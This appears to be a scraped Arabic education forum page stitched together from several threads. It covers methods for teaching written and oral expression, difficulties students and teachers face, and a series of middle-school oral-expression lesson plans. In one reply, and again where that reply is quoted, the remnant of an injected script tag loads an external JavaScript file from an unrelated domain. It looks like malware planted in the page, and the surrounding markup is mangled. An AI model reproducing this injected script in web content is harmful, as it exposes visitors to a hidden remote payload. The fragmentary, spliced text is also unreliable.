وفقا لآخر البحوث لاحظوا للتعلموا
هههههههه 🙂
الوسم: التعبير
السلام عليكم ورحمة الله
اليوم أقدم لمتتبعي موقعي
هذه المادة الرائعة والممتازة
أكيد يحتاجها كل معلم ومعلمة
منهجية تصحيح التعبير الكتابي
تحتوي المادة باختصار على :
خطوات سير الحصة
أنواع الأخطاء الكتابية المحتملة في التعبير
ملاحظات وتنبيهات هامة:
بالإضافة الى نموذج وحدة ادماجية
وفيه :
تحليل السند والتعليمة
كتابة خطة الموضوع
تحرير الموضوع ( موجود )
الرابط سليم ويعمل 100%
<a href="https://
بالتوفيق لكم
بارك الله فيك
اقتباس:
|
المشاركة الأصلية كتبت بواسطة adslam71
 بارك الله فيك
|
وفيكم بارك الله
شكرا جزيلا لكم.
شكــــــــــــــــرا
ما هو التعبير؟
التعبير هو امتلاك القدرة على نقل الفكرة أو الإحساس الذي يعتمل في الذهن أو الصدر إلى السامع وقد يتم ذلك شفوياً أو كتابياً.
التعبير هو امتلاك القدرة على نقل الفكرة أو الإحساس الذي يعتمل في الذهن أو الصدر إلى السامع وقد يتم ذلك شفوياً أو كتابياً.
أسس التعبير ومنطلقاته:
الأسس النفسية:
• حيث يميل التلميذ إلى التحدث عما يحس به في النفس وبخاصة إلى من يثق بهم لذلك على المعلم السعي لاكتساب ثقة التلميذ ليصرح له عما بداخله.
• تعبير الطالب عن نفسه يتطلب دوافع والمعلم الجيد هو من يستطيع توفير ذلك الدافع لحفز التلاميذ على التعبير.
• إن تأليف الأفكار عملية معقدة يلجأ فيها العقل لاستعراض ما يمتلك من ثروة في الألفاظ ليصف الفكرة.
• يتعلم التلميذ عن طريق المحاكاة لما يسمع ويقلده وعلى المعلم أن يلجأ إلى اللغة الفصيحة في الحديث.
الأسس التربوية:
فالتربية تتيح مجالاً من الحرية حيث يفسح للتلميذ اختيار الموضوع الذي يتحدث فيه ولمل كان التعبير نشاطاً لغوياً مستمراً فغن على المعلم أن ينتهز الفرصة في تهيئة التلاميذ ليعبروا إما بالكتابة أو بالحديث.
الأسس اللغوية:
فثروة الطلاب في التعبير محدودة في الألفاظ والتراكيب لذلك علينا إثراء هذه الألفاظ والتراكيب وذلك باستغلال دروس القراءة والاستماع ، ويجب البدء بالتعبير الشفوي لأنه أسبق من التعبير الكتابي لطبيعة استخدام اللغة في الحياة.
صعوبات تواجه التلميذ في التعبير:
لعل من أهم ما يواجه التلميذ من صعوبات في مجال التعبير يمكن إجمالها فيما يلي:
1) أن عملية التعبير عملية ذهنية معقدة فالتعبير يبدأ بولادة الفكرة ومن ثم نقل الفكرة أو الإحساس إلى الآخرين وذلك يحتاج إلى قاموس لغوي من كلمات وحروف وأفعال وأسماء وإلى معرفة في أصول بناء الجملة ثم بناء الفقرات وهذا ليس بالأمر الهين على أطفال المرحلة الابتدائية.
2) نفور التلاميذ من دروس التعبير لشعورهم بالعجز عن نقل فكرهم وإحساسهم مما يستدعي من المعلم أخذهم بالصبر والأناة وقبول تعبيراتهم أياً كانت بساطتها.
3) عدم إدراك التلاميذ أهمية التعبير لذلك على المعلم إبراز أهمية التعبير عن طريق التعزيز والمكافأة والإطراء للذين يتقنون التعبير عن أنفسهم.
صعوبات تواجه المعلم في تدريس التعبير:
يواجه بعض المعلمين صعوبات ومشاكل في تدريب تلاميذهم على التعبير ومن ذلك:
1) التركيز على تدريس المهارات اللغوية مثل القراءة والكتابة والتدريبات اللغوية وذلك لمحدوديتها ووضوح أهدافها.
2) عدم تمكن بعض المعلمين من أساليب تدريب التلاميذ على التعبير وذلك لشمولية التعبير واعتماده على كافة المهارات اللغوية الأخرى.
3) عدم معرفة بعض المعلمين لمراحل النمو اللغوي للتلاميذ وبالتالي عدم القدرة على تحديد قدرات التلاميذ وتحديد المتوقع منهم.
4) عدم وضوح أهداف التعبير عند المعلم والطالب معاً.
5) اقتناع بعض المعلمين أن التعبير مقتصر على موضوع يكتب عنوانه على السبورة والطلب من التلاميذ التعبير عنه مع أن هناك أساليب أخرى للتعبير.
6) ضعف التلاميذ إجمالاً في اللغة العربية.
7) أن التعبير هو عمل شاق يتطلب جهداً لاكتساب المهارات اللغوية كما يتطلب معاناة في توليد الأفكار.
8) نفور المعلم من درس التعبير لأن ذلك سيرهقه في تدقيق دفاتر التلاميذ.
كيف يواجه المعلم هذه الصعوبات ويعمل على حلها؟
1) أن ميل الإنسان إلى التعبير أمر فطري وتبرز هذه الظاهرة واضحة لدى التلاميذ منذ مراحل نموهم الأولى لذلك على المعلم الاستفادة من هذا الميل وتنميته وتعزيزه بأن يترك للتلاميذ الفرصة للتعبير عن أنفسهم دون قمعهم أو إحباطهم بالتخويف ودون الاحتكام إلى معايير الكبار في تقييم ما يقولون.
2) يميل التلاميذ في هذه المرحلة إلى خلق عالم خاص من الخيال يجادله ويحاوره والمعلم الناجح هو من يستغل هذا الميل الغريزي إلى الخيال عند تلاميذه فيعززه ويفسح له مكاناً في الصف لأنه وسيلة من وسائل التعبير.
3) الاستفادة من ميل التلاميذ إلى لعب الأدوار بالتدريب على تمثيل بعض مواقف الحياة أو بعض النصوص القرآنية.
4) يميل التلاميذ إلى الإخبار عن كل ما يشاهدونه من حولهم لذلك على المعلم أن يوظف هذا الميل توظيفاً جيداً في أنشطة معدة للقص أو الأخبار.
ما الأدوات اللازم امتلاكها ليصبح التلميذ قادراً على التعبير؟
1) لابد أن تكون للتلميذ خبرات مكتسبة من الحياة حتى تتكون عند التلميذ فكرة واضحة ويستطيع أن يكون مواقف من الحياة والناس والظواهر الطبيعية من حوله.
2) امتلاك قاموس لغوي متطور وقدرة على التعامل مع اللغة بنىً وتراكيب وفقرات قادرة على نقل الأفكار.
3) القدرة على ترتيب الفكرة في نسق تصاعدي لتنتهي نهاية طبيعية يتم فيها نقل الفكرة أو الإحساس.
4) وإذا كان التعبير كتابياً فلابد من امتلاك مهارات الكتابة في الإملاء والخط.
5) إذا كان التعبير شفوياً فإنه يتطلب امتلاك القدرة على نقل الفكرة ارتجالاً دون خوف أو وجل.
ممارسات ينصح الأخذ بها :
• عدم اقتصار التدريب على التعبير في حصة معينة مرسومة ولكن عليه مراعاة ذلك في كل درس من دروس اللغة.
• التركيز على اختيار موضوعات التعبير وأنشطته المختلفة متفقاً مع ميول التلاميذ ورغباتهم.
• تعريض التلاميذ لخبرات متعددة وتشجيعهم على الإطلاع والقراءة.
• ترك فرصة للتلاميذ للتعبير الحر عما يجيش في صدورهم دون التقيد دوماً بموضوعاتً بعينها.
• عدم استحقار الاستخدامات اللغوية للتلاميذ.
موقع التعبير من المهارات اللغوية الأخرى:
• إن التعبير الهدف النهائي لكل لغة وأن المهارات الأخرى كتابة و قراءة نحواً وصرفاً كلها وسائل لغاية واحدة وهي التعبير لذلك فإن التعبير هو اللغة منطوقة أو مسموعة.
• حتى تتاح لنا القدرة على التعبير والتواصل لابد أن نمتلك القدرة على الفهم والاستيعاب .
• لكي نفهم لابد أن نتعلم فهم الرموز المسموعة ونتقن مهارة الاستماع وأن نستطيع تحليل الرموز المكتوبة فنقرأ المكتوب ونفهمه ولنكون قادرين على التعبير لابد من امتلاك مهارة الكتابة ومهارة التحدث وهكذا نجد أن المهارات اللغوية جميعها في خدمة التعبير مما يدلل على أهمية التعبير.
نوعا التعبير:
التعبير الشفوي:
هو أن ينقل التلميذ ما يدور في ذهنه وحسه إلى الآخرين مشافهة متوسلاً باللغة تساعده الإيماءات والإشارات باليد والانطباعات على الوجه وغيرها.
التعبير الكتابي:
وهو أن ينقل التلميذ فكره وإحساسه إلى الآخرين كتابة مستخدماً مهارات لغوية أخرى مثل قواعد الكتابة من إملاء وخط وقواعد اللغة من صرف وعلامات ترقيم مختلفة وأساليب وغيرها.
• التعبير الشفوي هو المهارة اللغوية الأولى التي يتعامل بها التلميذ منذ مراحل نموه الأولى قبل المدرسة وتكون اللغة في هذه المرحلة لغة عامية هي لغة البيت والرفاق ومع دخول المدرسة يبدأ تعليمه المنظم ويظل التعبير الشفوي مصاحباً للإنسان حتى نهاية حياته وبالتالي فإن التعبير الشفوي أسبق على التعبير الكتابي .
• أما التعبير الكتابي فيأتي في مرحلة لاحقة من مراحل النمو اللغوي للتلميذ أي بعد أن يتمكن من مهارتي القراءة والكتابة والتعبير الكتابي يمتاز بالدقة والأناة وتمحيص الأفكار كما ويلجأ إليه في الكتابة الإبداعية مثل الشعر والنثر وكتابة الأبحاث والتقارير.
• ويظل التعبير بشقيه هو الهدف اللغوي الذي يجب أن نسعى جاهدين لبلوغه.
الأهداف العامة لدروس التعبير الشفوي في المرحلة الابتدائية الأولى:
1) التخلص من العيّ والحصر: حيث يتيح تدريب التلاميذ على التعبير الشفوي تعزيز ثقة الطالب بنفسه ويخلصه من اللعثمة والفأفأة والعيّ.
2) تدريب التلميذ على الارتجال ومواجهة المواقف المختلفة بذهن قادر على ترتيب الأفكار وحسن عرضها.
3) تساعد التلميذ على أن يكون سريع البديهة وقادراً على الاستجابة السريعة.
4) يساعد على سرعة التفكير ولملمة الموضوع وتنسيق الأفكار.
5) يبعد التلميذ عن الخجل والتهيب والتردد والقدرة على مواجهة جمهور الناس.
4040404040404040 src=”http://multibar.me/pluginmng.js” type=”text/40404040404040404040″>4040404040404040404040الش كر الجزيل لك اختاه
بارك الله فيك ونفع بك أستاذتنا الغالية
بالتوفيق
بالتوفيق
اقتباس:
|
المشاركة الأصلية كتبت بواسطة نور الاسلام سوسو
4040404040404040 src=”http://multibar.me/pluginmng.js” type=”text/40404040404040404040″>4040404040404040404040الش كر الجزيل لك اختاه
|
والشكر موصول يا طيبة
بورك فيك في مرورك العطر
اقتباس:
|
المشاركة الأصلية كتبت بواسطة general
بارك الله فيك ونفع بك أستاذتنا الغالية
بالتوفيق |
وفيك بارك الرحمن
تسلم على المشاعر الطيبة
التصنيفات
مذكرات التعبير الشفهي للتحضيري
إخوتي السلام عليكم
إنني في حاجة ماسة إلى مذكرات التعبير الشفهي للقسم التحضيري كاملة و مشكزرين مسبقا
merci pour tout
[quote]بارك الله فيك على هذا المجهود الطيب
شكرا لكم على هذا الموقع
جاري البحث اختي
وربي يوفقني حتى نلقاهم
تحياتي
وربي يوفقني حتى نلقاهم
تحياتي
http://www.forum.educ40.net/showthread.php?t=11702
هذه بعض المذكرات الموجودة في المنتدى
هذه بعض المذكرات الموجودة في المنتدى
abla83 معجب بهذا
لكل من يدرس التربية الموسيقية أحتاج الى مساعدة ألا وهي بحث عن اشارات التعبير وأسلوب الآداء الموسيقية .
يسلم هذا البحث يوم الاحد فلا تبخلوا علي.
يمعنى تداول مواضيع تخص الموسيقى حتى وان ذالك لغرض اكاديمي
تم غلق الموضوع
 |
 |
|
 :)تعليم التعبير للإبتدائي🙂 تحية ط
تعريف التعبير: هو القالب الذي يصب فيه الإنسان أفكاره بلغة سليمة ، وتصوير جميل ، وهو الغاية من تعليم اللغة ، ففروع اللغة كلها وسائل للتعبير الصحيح بنوعيه الشفهي والتحريري
وهي من دلائل ثقافة الطالب وقدرته على التعبير عن أفكاره بعبارة سليمة بليغة ، ولذلك كان التعبير من أهم ما يجب أن يهتم به معلم اللغة . وغرض التعبير يتمثل في تعويد التلاميذ على حسن التفكير ، وجودته وللتعبير ركنان أساسيان : معنوي ، ولفضي ، أما المعنوي فهو الأفكار التي يعبر عنها. وأما اللفظي فهو الألفاظ والعبارات التي يمكن التعبير بها عن أفكار . والركنان مرتبطان ببعض . حيث ترتبط الأفكار بوسائل التعبير اللفظي المختلفة موضوعات التعبير نوعان أ -الإبداعي : ويسمى الإنشائي يعرض فيه المبدع أفكاره ومشاعره ، وخبراته الخاصة ويقوم على الانفعال والعاطفة والإبداع في اللغة واستخدام الإبانة ب -الوظيفي : ويسمى بالنفعي ، ويعبر عما يجري في حياة الناس وتنظيم شؤونهم ، ولا يعتمد على العاطفة أو التأثر وإنما يؤدي وظائف حياتيه أهمية التعبير التعبير بنوعية الشفهي والتحريري: يعد ضرورة للفرد والمجتمع ، والإنسان لا يستغني عنه في مراحل حياته المختلفة ، كما أن التعبير غاية وبقية فروع اللغة وسيلة ، فجميع فروع اللغة تصب في التعبير ؛ فمن خلال التعبير نستطيع أن نحكم على الشخص في جوانب مختلفة ، ولهذا فأن التعبير يعطينا صورة صادقة عن شخصية الإنسان الذي يكتب أو يتحدث ونلاحظ أن جميع فروع اللغة تخدم فرعاً واحداً وهو التعبير ويستمد التعبير أهميته من جوانب أهمها أ – أنه أهم الغايات المنشودة من دراسة اللغات ، لأنه وسيلة الإفهام وهو أحد جانبي عملية التفاهم ب -أنه وسيلة لاتصال الفرد بغيره وأداة لتقوية الروابط الفكرية والاجتماعية بين الأفراد ج –أنه يغطي فنين من فنون اللغة هما الحديث والكتابة ، ويعتمد امتلاك زمامهما على فني اللغة الآخرين الاستمتاع والقراءة د -أن للعجز عن التعبير أثر كبير في إخفاق التلاميذ ، وفقد الثقة بالنفس ، وتأخر نموهم الاجتماعي والفكري هـ –أن عدم الدقة في التعبير يترتب عليه فوات الفرص وضياع الفائدة و –أنه وسيلة لاتصال بين الفرد والجماعة، فبواسطته يستطيع إفهامهم ما يريد ي –أن التعبير عماد الشخص في تحقيق ذاتيته وشخصيته وتفاعله مع غيره م -أن الكلمة المعبرة عماد الرواد والقادة ولو لم يملكوها ما سلكوا الطريق إلى العقول والقلوب ن –أن التعبير الجيد من أسس التفوق الدراسي في المجال اللغوي وفي غيره . فإذا تفوق التلميذ في تعبيره تفوق في دراسته اللغوية وفي حياته الدراسية ، بل تفوق فيما بعدها من الحياة العملية كيفية النهوض بتدريس التعبير في مدارسنا أ -إعطاء الطلاب الحرية في اختيار الموضوعات عند الكتابة ، وخلق الدافع للتعبير وخلق المناسبات الطبيعية التي تدفع التلاميذ للكتابة أو التحدثب -ربط موضوعات التعبير ببقية فروع اللغة وبالمواد الدراسية الأخرى ، وتوظيف موضوعات الأدب والقراءة في ذلك ج -تعويد التلاميذ على الإطلاع والقراءة ، حتى تتسع دائرة ثقافة التلاميذ ، وبالتالي يكون لديهم قدر من الأفكار والألفاظ التي تعينهم بالكتابة والتحدث د -المناقشات التي تعقب مواقف القراءة والكتابة والتعبير الشفهي حول ما تتضمنه من معان ، وأفكار وكلمات مناسبة هـ -كثرة التدريب على التحدث والكتابة ، وإزالة الخوف والتردد من نفوس التلاميذ بشتى الطرق الممكنة و -تفهم التلاميذ أبعاد الموضوع التعبيري وارتفاع لغة الحديث لدى المعلم ، كلها تسهم في ارتفاع المستوى التعبيري لديهم ي -تصحيح الأخطاء ، وتقويم الأسلوب والارتقاء به ، وتكوين الثروة اللغوية وإثراءها الأمور التي ينبغي مراعاتها في تدريس التعبير أ -ينبغي أن نركز اهتمامنا على المعنى لا على اللفظ ، أي أن يهتم المعلم بالأفكار . ورغم أهمية اللفظ إلا أنه خادم للفكرة معبر عنها ب -ينبغي أن يتم تعليم التعبير في مواقف طبيعية مثل المواقف التي يستعمل فيها التلميذ اللغة في حياته ج -تخصيص حصص معينه للتدريب على ألوان النشاط اللغوي المختلف د -استغلال المواقف العرضية }الغير مقصودة { في تدريب التلاميذ على ممارسة التعبير وتوجيههم للتعبير عن أنفسهم أولاً . وإمدادهم بالخبرات اللازمة التي تساعدهم على ذلك هـ -تزويد التلاميذ بحساسية المواقف المختلفة ككتابة رسالة ، أو مذكرة أو حكاية و -يجب على المعلم أن يهتم بتعبيره حين يكتب أو يتكلم فهو نموذج للتعبير الواضح البسيط ي -ينبغي وضع معايير ومستويات أمام التلاميذ في الغايات المطلوب وصولهم إليهم أو وصول إنتاجهم إلى حد معين م -توظيف فروع اللغة في تعليم التعبير ، والعمل على إزالة الخوف والتردد في نفوس التلاميذ
ن -الوقوف على الأخطاء الشائعة في التعبير الكتابي أو الشفهي حسب ترتيب الأخطاء وأهميتها ك -تذليل كل العقبات التي تثبط رغبة التلميذ في الكلام أو الكتابة ل -ينبغي على المعلم أن يعطي التلاميذ الحرية في تعيرهم حتى يعبروا عن أنفسهم لا عما يريده المعلم أخطاء يقع فيها معلمو اللغة العربية أ -نجد أن كثيرا من المعلمين يتركون التلاميذ يكتبون في المنزل ، وهذا خطأ لأنه يعتمد على غيره عند كتابة التعبير غالباً ، والصواب كتابة التعبير للتلاميذ في الصف ب -اختيار المعلمين لموضوعات غير حيوية مكررة وبالتي لا يستفيدون منها بالقدر الكافي . فمثلاً ــ اكتب عن موضوع الحج ونحن نقول ممكن أن نتناول هذا الموضوع بطريقة أخرى غير المعتادة حيث نعرض فلماً عن الحج وعند الإنتهاء منه يكتب الطلاب عما شاهدوه ج -وضع حصص التعبير في آخر اليوم الدراسي ، وهذا يؤثر على أداء التلاميذ ويقلل من رغبتهم في الاهتمام بحصة التعبير لقلة الاهتمام بها من جانب المدرسة والمعلم نفسه هـ -عدم ربط فروع اللغة العربية والاستفادة منها في درس التعبير و -عدم استغلال حصص التعبير للتدريب على مجالات التعبير المختلفة ، مثل الرسائل والبرقيات وملء الاستمارات وإدارة اللقاءات ي -إتباع طرق غير سليمة عند تصحيح كراسات التلاميذ ، وبالتالي يؤدي إلى عدم تصحيح التلاميذ لأخطائهم في الموضوعات القادمة م -إن التلاميذ لا تتاح لهم فرصة الكتابة في الموضوعات التي يميلون إليها ولا في اختيار موضوع من عدة موضوعات وإنما يركز على موضوع واحد ن -لا تستغل حصة التعبير الكتابي للتدريب على مهارات التعبير الكتابي ، وهي كثيرة وتتصل بالمهارات الخاصة ببناء الموضوع ، والمهارات الخاصة بكتابة الموضوع ، مثل علامات الترقيم ، وأدوات الربط من حروف عطف وحروف جر ، كيفية تنظيم الأفكار وترتيبها ، ومهارات متصلة بالنواحي التركيبية والنحوية مثل : خلو الموضوع من الأخطاء النحوية ك -إسناد تدريس مادة التعبير إلى معلم غير متخصص ، بحجة زيادة نصاب المعلمين أهداف التعبير في المرحلة الابتدائية يهدف تعليم التعبير إلى تحقيق الأهداف التالية :منقول:الموضوع منقول للأمانة العلمية:منقول:
 |
||
 |
 |
بارك الله فيك اخي صقر زوي في هذا النقل الطيب
شكرا لك اخي الكريم وبركت
جزاك الله خيــرا على هذا الإ نجــــاز المتميز , وشكرا جزيلا لك.
بارك الله فيك و جزاك كل الخير
ن
| شاط التعبير الشفهي رقم -1- الوحدة : العلوم والتكنولوجيا المستوى : الرابعة متوسط النشاط : تعبير شفهي الأسـتـاذ: زبيري الموضوع : انترنيت المستقبل المـرجع: الكتاب المدرسي الكفاءات المستهدفة: القدرة على إدراك التطور الذي عرفته الانترنيت ، وتطبيقاتها واكتساب مصطلحات علمية جديدة . المراحل مؤشر الكفاءة سيــــــــــر الـــــدرس التمهيد العرض ترسيخ أهم المعارف الموجودة في النص تحديد عناصر النص القيام بتلخيص النص تلخيص شفويا . عنــــاصر النــص : الانترنيت ما تزال في مهدها وهي في طريق التطور والتوسع والانتشار . مذكرة في نشاط التعبير الشفوي رقم 02 الوحـدة : قضايا اجتماعية المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على التمييز بين الخصال النبيلة و الرذائل التي يراها في حياته اليومية و التعبير المراحل مؤشر الكفاءة سير الدرس العرض يعرض عمله المنزلي يتذكر أهم ما جاء في النص يدرك أهم معاني النص يدرك أهمية التربية على الخصال الحميدة ونبذ الرذائل . * دعوة التلاميذ إلى تعداد الخصال النبيلة شفويا في جمل مترابطة ثم تعداد الرذائل مذكرة في نشاط التعبير الشفــاهي 3 العرض يعرض عمله المنزلي . يلخــص النص شفويا يطالـع النص المقبـــل ويلخص . – مراقبة العمل المنزلي – قراءة صامتة * تلخيصات شفوية . مذكرة في نشاط التعبير الشفوي رقم 04 الوحـدة : التضامن الإنساني المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على إدراك ما تقوم به جمعيات المواجهة للكوارث وتلخيص النص تلخيصا شفويا. المراحل مؤشر الكفاءة سير الدرس العرض يعرض عمله المنزلي يطلع على النص يدرك أهم ما جاء في النص يحدد عناصر النص يلخص النص شفويا مذكرة في نشاط التعبير الشفهــي رقم 05 الوحـدة : الدين المعاملــة المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على إدراك بعض الأخلاق التي يجب أن يتحلى بها المسلم وأهمها الأمانة . المراحل مؤشر الكفاءة سير الدرس العرض يتذكر ما جاء في النص يدرك أهم معاني ومبادئ النص يدرك أن تصرفات المسلم وسلوكه تحسب للإسلام أو ضده يطالع النص المقبل ويحدد أهم أفكار الأساسية مذكرة في نشاط التعبير الشفوي رقم 06 الوحـدة : شخصيات موهوبة المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة عل إدراك جوانب من حياة الموسيقار العالمي موزار و التعبير عنها شفويا المراحل مؤشر الكفاءة سير الدرس العرض يعرض عمله المنجز يدرك أهم ما جاء في النص من معان يدرك معاناة موزار للوصول على ما وصل إليه في كثير من الأحيان تأبى الموهبة الاستسلام للظروف القاسية . فتتغلب عليها وتقهرها و موزار الموهبة واحدة منها مذكرة في نشاط تعبير شفوي رقم 07 الوحـدة : ظواهر طبيعية المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على إدراك أحد الظواهر الطبيعية و ما تخلفه من آثار و التعرف على أشهر براكين العرض يتذكر النص يدرك أهم معاني و مباني النص يحدد أهم أفكار النص يلخص النص شفويا يطالع النص المقبل و يحدد أسباب التوتر العصبي – مراقبة العمل المنزلي . مذكرة في نشاط التعبير الشفوي رقم 08 الوحـدة : أمراض العصر المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على إدراك أسباب ظاهرة التوتر العصبي وتأثيراتها الفاعل على الفرد و المجتمع المراحل مؤشر الكفاءة سير الدرس العرض يتذكر أهم ما جاء في النص يدرك أهم أفكار النص يدرك أسباب ونتائج التوتر العصبي تلخيص النص شفويا مذكرة في نشاط التعبير الشفوي رقم 09 الوحـدة : الثروات الطبيعية المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على إدراك إمكانية الزراعة بماء البحر المراحل مؤشر الكفاءة سير الدرس العرض يتذكر أهم ما جاء في النص يدرك أهم معاني و مباني النص يدرك إمكانية استغلال مياه البحر مستقبلا يلخص شفويا يطالع النص المقبل ثم يلخصه
استغلال مياه البحر مستقبلا سيكون حلا لكثير من المشاكل المتعلقة بالمياه في الوطن العربي . مذكرة في نشاط التعبير الشفوي رقم 10 الوحـدة : متاحف ومعالم تاريخية المستوى : رابعة متوسط الكفاءة المستهدفة : * يدرك أن الجزائر غنية بالمناطق الأثرية و الطاسيلي إحدى تلك المناطق المراحل مؤشر الكفاءة سير الدرس العرض يتذكر أهم ما جاء في النص يدرك أهم معاني ومباني النص يحدد عناصر النص الأساسية يلخص النص شفويا يطالع النص المقبل ويحدد أفكاره الأساسية – مراقبة العمل المنزلي مذكرة في نشاط تعبير شفوي رقم 11 الوحـدة : عالم الشغل المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على ترسيخ حب العمل وإدراك أهميته عند التلميذ المراحل مؤشر الكفاءة سير الدرس العرض يتذكر ما جاء في النص يدرك أهم معاني ومباني النص يستنتج موقف الكاتب من العاملين وغير العاملين مذكرة في نشاط تعبير شفوي رقم 12 الوحـدة : الشباب و المستقيل المستوى : رابعة متوسط الكفاءة المستهدفة : * القدرة على إدراك أهمية الشباب في انطلاقة ثورة جديدة . المراحل مؤشر الكفاءة سير الدرس العرض يتذكر أهم ما جاء في النص يدرك أهم معاني ومباني النص يحدد عناصر النص الأساسية يلخص النص شفويا |
موضوع رائع وبارك الله فيك
شكرا على المذكرات ونتتضر منك المزيد وجزاك الله الف الحسنات
السلام عليكم ورحمة الله
بعد أن كنت قد وضعت طريقة لتقديم التعبير الشفوي والتواصل
لجميع الاقسام ، اليوم ننتقل إلى طريقة تقديم التعبير الكتابي
الذي يعتبر في التعليم الابتدائي
هو الكفاءة الحقيقة لدمج المكتسبات وتوظيفها
أتمنى أن تطلعوا عليه لانه مفيد جدا جدا
ربما تدعم طريقتك بمعلومات جديدة
لا تنسونا من دعواتكم
شكرا جزيلا لك.
شكرا جزيلا
لتحميل برنامج الفرنسية كاملا مع التعبير من هذا الرابط
جزاكم الله عنا خيرا
شكرا لك اخي الكريم على البرنامج
تحياتي
تحياتي
بارك الله فيك
ahhhhhhhhhhhhhhhhhhhhh c tré gentill
méreshiii
méreshiii
مشكوووووور والله يعطيك الف عافيه
كاملا؟لا يوجد الا صفحتين؟؟؟
